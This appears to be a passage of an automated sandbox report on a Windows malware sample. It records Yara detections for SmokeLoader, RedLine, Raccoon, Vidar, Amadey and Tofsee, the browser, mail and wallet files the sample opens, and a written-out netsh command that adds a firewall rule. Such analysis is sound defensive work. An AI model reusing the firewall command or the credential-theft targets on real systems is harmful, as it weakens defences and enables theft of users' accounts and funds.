Source: explorer.exe, 00000005.00000000.713264043.000000000A716000.00000004.00000001.sdmp, explorer.exe, 00000005.00000000.686584813.000000000A716000.00000004.00000001.sdmp, explorer.exe, 00000005.00000000.702098679.000000000A716000.00000004.00000001.sdmp	Binary or memory string: Shell_TrayWnd5D

Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Code function: GetLocaleInfoA,	0_2_0043AA70
Source: C:\Users\user\AppData\Local\Temp\9334.exe	Code function: GetLocaleInfoA,	11_2_00410857
Source: C:\Users\user\AppData\Local\Temp\DB31.exe	Code function: GetProcessHeap,RtlAllocateHeap,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,wsprintfA,wsprintfA,memset,LocalFree,	16_2_0040AE00

Source: C:\Users\user\AppData\Local\Temp\E748.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E748.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\F65C.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\xzxafeeu\gecrjwsv.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\xzxafeeu\gecrjwsv.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\F65C.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\tijXCZsbGe.exe

Code function: 0_2_0041A069 __vswprintf,_putc,__wrename,_atexit,_malloc,_realloc,_ferror,GetBinaryTypeA,SetCurrentDirectoryA,Process32NextW,InitializeCriticalSection,QueryDosDeviceW,TerminateJobObject,GlobalAddAtomW,DeleteAtom,WriteProfileStringA,GetFullPathNameA,FindNextVolumeMountPointW,GetCompressedFileSizeA,GetNamedPipeInfo,lstrcpynA,GetProcessVersion,GetConsoleAliasesLengthW,UnregisterWait,GetProcessHandleCount,CancelWaitableTimer,SetFileApisToANSI,CreateIoCompletionPort,FindClose,SetEndOfFile,GetCommMask,LocalLock,OpenMutexW,GetLastError,HeapFree,WriteConsoleOutputCharacterA,GetModuleHandleW,GetNumberOfConsoleInputEvents,FreeEnvironmentStringsA,GetWriteWatch,GetConsoleAliasExesLengthW,_lopen,FileTimeToLocalFileTime,SetCommState,EnumDateFormatsA,TransactNamedPipe,WriteConsoleInputW,GetConsoleAliasExesLengthA,GetAtomNameW,FreeConsole,FlushConsoleInputBuffer,GetConsoleAliasA,SetConsoleCP,VerSetConditionMask,LockFile,SetSystemTime,SetThreadExecutionState,VerLanguageNameW,lstrcpyA,SetFileShortNameW,GetOverlappedResult,GetPrivateProfileSectionW,FreeEnvironmentStringsW,CreateSemaphoreA,GetLocalTime,EnumTimeFormatsW,FindResourceExW,GetPrivateProfileSectionNamesW,GetOverlappedResult,WaitNamedPipeA,TransmitCommChar,CreateSemaphoreW,GetBinaryTypeW,PeekConsoleInputW,BuildCommDCBA,UnregisterWaitEx,GlobalLock,GetOverlappedResult,GetProcAddress,MoveFileExW,GetThreadContext,ResetEvent,FindActCtxSectionStringA,_memset,SetDefaultCommConfigW,lstrcmpW,HeapUnlock,GetConsoleMode,GetVolumePathNameA,MoveFileW,Process32NextW,GetFileAttributesExA,GetDriveTypeA,TryEnterCriticalSection,GetPrivateProfileStructW,WritePrivateProfileSectionA,GetPrivateProfileSectionW,GetSystemTimeAdjustment,WriteConsoleW,EndUpdateResourceW,FindVolumeMountPointClose,DefineDosDeviceW,InterlockedExchange,SetMailslotInfo,GetTapeParameters,CreateActCtxW,FindCloseChangeNotification,GlobalFindAtomA,TerminateProcess,GetSystemWindowsDirectoryW,GetVersion,SetConsoleMode,WriteFile,lstrcmpA,GetPrivateProfileSectionW,DebugBreak,DeleteVolumeMountPointA,

0_2_0041A069

Source: C:\Users\user\AppData\Local\Temp\DB31.exe

Code function: 16_2_0040AD40 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

16_2_0040AD40

Source: C:\Users\user\AppData\Local\Temp\DB31.exe

Code function: 16_2_0040ACA0 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

16_2_0040ACA0

Source: C:\Users\user\AppData\Local\Temp\E748.exe

Code function: 17_2_0040405E CreateEventA,ExitProcess,CloseHandle,CreateNamedPipeA,Sleep,CloseHandle,ConnectNamedPipe,GetLastError,DisconnectNamedPipe,CloseHandle,CloseHandle,CloseHandle,

17_2_0040405E

Source: C:\Users\user\Desktop\tijXCZsbGe.exe

0_2_0041A069

Lowering of HIPS / PFW / Operating System Security Settings:

Uses netsh to modify the Windows network and firewall settings

Show sources

Source: C:\Users\user\AppData\Local\Temp\E748.exe

Process created: C:\Windows\SysWOW64\netsh.exe "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul

Modifies the windows firewall

Show sources

Source: C:\Users\user\AppData\Local\Temp\E748.exe

Source: C:\Users\user\AppData\Local\Temp\F65C.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct

Stealing of Sensitive Information:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 35.0.F65C.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.F65C.exe.401f910.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.0.F65C.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.0.F65C.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.0.F65C.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.0.F65C.exe.400000.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.F65C.exe.401f910.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000028.00000003.877844771.0000000003842000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000002.878164581.00000000000C2000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002C.00000002.948415885.00000000002E2000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002C.00000002.982145423.0000000006720000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.825741767.0000000003F01000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002B.00000002.902114556.00000000000C2000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002B.00000003.899275338.0000000003842000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000000.820336133.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000000.821341997.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000000.819697566.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000000.820836278.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Amadeys stealer DLL

Show sources

Source: Yara match	File source: 00000027.00000003.860574341.0000000000700000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000002.953108316.0000000000650000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000002.952932110.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000031.00000002.888629779.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000031.00000003.885087344.0000000000820000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.873026509.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000031.00000002.890660521.00000000007E0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000003.873886365.00000000006A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.874367341.00000000006A0000.00000040.00000001.sdmp, type: MEMORY

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 10.0.rifsswe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.tijXCZsbGe.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.tijXCZsbGe.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rifsswe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.0.rifsswe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.tijXCZsbGe.exe.5615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rifsswe.6315a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.0.rifsswe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.1.rifsswe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.767900095.0000000000640000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.719913794.0000000000591000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.768056484.00000000022F1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.719885078.0000000000570000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.708378047.0000000004DF1000.00000020.00020000.sdmp, type: MEMORY

Yara detected Amadey bot

Show sources

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 00000029.00000002.953737182.0000000000821000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000002.953617420.00000000007C3000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000002.953715192.0000000000812000.00000004.00000001.sdmp, type: MEMORY

Yara detected Raccoon Stealer

Show sources

Source: Yara match	File source: 38.2.5C89.exe.4d40e50.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 38.2.5C89.exe.4d40e50.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 38.3.5C89.exe.4de0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 38.2.5C89.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 38.3.5C89.exe.4de0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 38.2.5C89.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000026.00000003.868438969.0000000004DE0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000032.00000002.920325973.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.1024945743.0000000004D40000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000032.00000003.917559502.0000000004DF0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000032.00000002.931172576.0000000004D50000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.953575570.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 5C89.exe PID: 5200, type: MEMORYSTR

Yara detected Vidar stealer

Show sources

Source: Yara match

File source: 00000010.00000002.780534031.0000000000712000.00000004.00000001.sdmp, type: MEMORY

Yara detected Tofsee

Show sources

Source: Yara match	File source: 34.2.svchost.exe.5d0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.gecrjwsv.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.E748.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.svchost.exe.5d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.gecrjwsv.exe.5a0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.3.gecrjwsv.exe.5a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.gecrjwsv.exe.580e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.E748.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.gecrjwsv.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.gecrjwsv.exe.5a0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.E748.exe.630e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.3.E748.exe.650000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000020.00000002.803587070.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.803962316.00000000005A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.957118764.0000000000630000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.949927934.00000000005D0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000003.801375609.00000000005A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.803904384.0000000000580000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.783551055.0000000000650000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: E748.exe PID: 5476, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: gecrjwsv.exe PID: 2860, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 6732, type: MEMORYSTR

Tries to steal Mail credentials (via file / registry access)

Show sources

Source: C:\Users\user\AppData\Local\Temp\5C89.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts
Source: C:\Users\user\AppData\Local\Temp\5C89.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings
Source: C:\Users\user\AppData\Local\Temp\5C89.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

Found many strings related to Crypto-Wallets (likely being stolen)

Show sources

Source: 5C89.exe, 00000026.00000002.1045877274.0000000005215000.00000004.00000001.sdmp	String found in binary or memory: electrum
Source: 5C89.exe, 00000026.00000002.1045877274.0000000005215000.00000004.00000001.sdmp	String found in binary or memory: electroncash
Source: 5C89.exe, 00000026.00000002.1045877274.0000000005215000.00000004.00000001.sdmp	String found in binary or memory: Jaxxa
Source: 5C89.exe, 00000026.00000002.1045877274.0000000005215000.00000004.00000001.sdmp	String found in binary or memory: Exodus
Source: F65C.exe	String found in binary or memory: set_UseMachineKeyStore

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Users\user\AppData\Local\Temp\5C89.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies
Source: C:\Users\user\AppData\Local\Temp\5C89.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\5C89.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data

Tries to steal Crypto Currency Wallets

Show sources

Source: C:\Users\user\AppData\Local\Temp\F65C.exe

File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\

Source: Yara match	File source: 00000010.00000002.780534031.0000000000712000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 5C89.exe PID: 5200, type: MEMORYSTR

Remote Access Functionality:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 35.0.F65C.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.F65C.exe.401f910.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.0.F65C.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.0.F65C.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.0.F65C.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.0.F65C.exe.400000.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.F65C.exe.401f910.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000028.00000003.877844771.0000000003842000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000002.878164581.00000000000C2000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002C.00000002.948415885.00000000002E2000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002C.00000002.982145423.0000000006720000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.825741767.0000000003F01000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002B.00000002.902114556.00000000000C2000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002B.00000003.899275338.0000000003842000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000000.820336133.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000000.821341997.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000000.819697566.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000000.820836278.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 10.0.rifsswe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.tijXCZsbGe.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.tijXCZsbGe.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rifsswe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.0.rifsswe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.tijXCZsbGe.exe.5615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rifsswe.6315a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.0.rifsswe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.1.rifsswe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.767900095.0000000000640000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.719913794.0000000000591000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.768056484.00000000022F1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.719885078.0000000000570000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.708378047.0000000004DF1000.00000020.00020000.sdmp, type: MEMORY

Yara detected Raccoon Stealer

Show sources

Source: Yara match	File source: 38.2.5C89.exe.4d40e50.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 38.2.5C89.exe.4d40e50.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 38.3.5C89.exe.4de0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 38.2.5C89.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 38.3.5C89.exe.4de0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 38.2.5C89.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000026.00000003.868438969.0000000004DE0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000032.00000002.920325973.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.1024945743.0000000004D40000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000032.00000003.917559502.0000000004DF0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000032.00000002.931172576.0000000004D50000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.953575570.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 5C89.exe PID: 5200, type: MEMORYSTR

Yara detected Vidar stealer

Show sources

Source: Yara match

File source: 00000010.00000002.780534031.0000000000712000.00000004.00000001.sdmp, type: MEMORY

Yara detected Tofsee

Show sources

Source: Yara match	File source: 34.2.svchost.exe.5d0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.gecrjwsv.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.E748.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.svchost.exe.5d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.gecrjwsv.exe.5a0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.3.gecrjwsv.exe.5a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.gecrjwsv.exe.580e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.E748.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.gecrjwsv.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.gecrjwsv.exe.5a0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.E748.exe.630e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.3.E748.exe.650000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000020.00000002.803587070.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.803962316.00000000005A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.957118764.0000000000630000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.949927934.00000000005D0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000003.801375609.00000000005A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.803904384.0000000000580000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.783551055.0000000000650000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: E748.exe PID: 5476, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: gecrjwsv.exe PID: 2860, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 6732, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\E748.exe	Code function: 17_2_004088B0 CreateThread,CreateThread,send,recv,socket,connect,closesocket,setsockopt,bind,listen,accept,select,getpeername,getsockname,		17_2_004088B0
Source: C:\Windows\SysWOW64\xzxafeeu\gecrjwsv.exe	Code function: 32_2_004088B0 CreateThread,CreateThread,send,recv,socket,connect,closesocket,setsockopt,bind,listen,accept,select,getpeername,getsockname,		32_2_004088B0

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts1	Windows Management Instrumentation221	DLL Side-Loading1	DLL Side-Loading1	Disable or Modify Tools211	OS Credential Dumping1	System Time Discovery2	Remote Services	Archive Collected Data11	Exfiltration Over Other Network Medium	Ingress Tool Transfer15	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Native API531	Valid Accounts1	Valid Accounts1	Deobfuscate/Decode Files or Information11	Input Capture1	Account Discovery1	Remote Desktop Protocol	Data from Local System3	Exfiltration Over Bluetooth	Encrypted Channel22	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
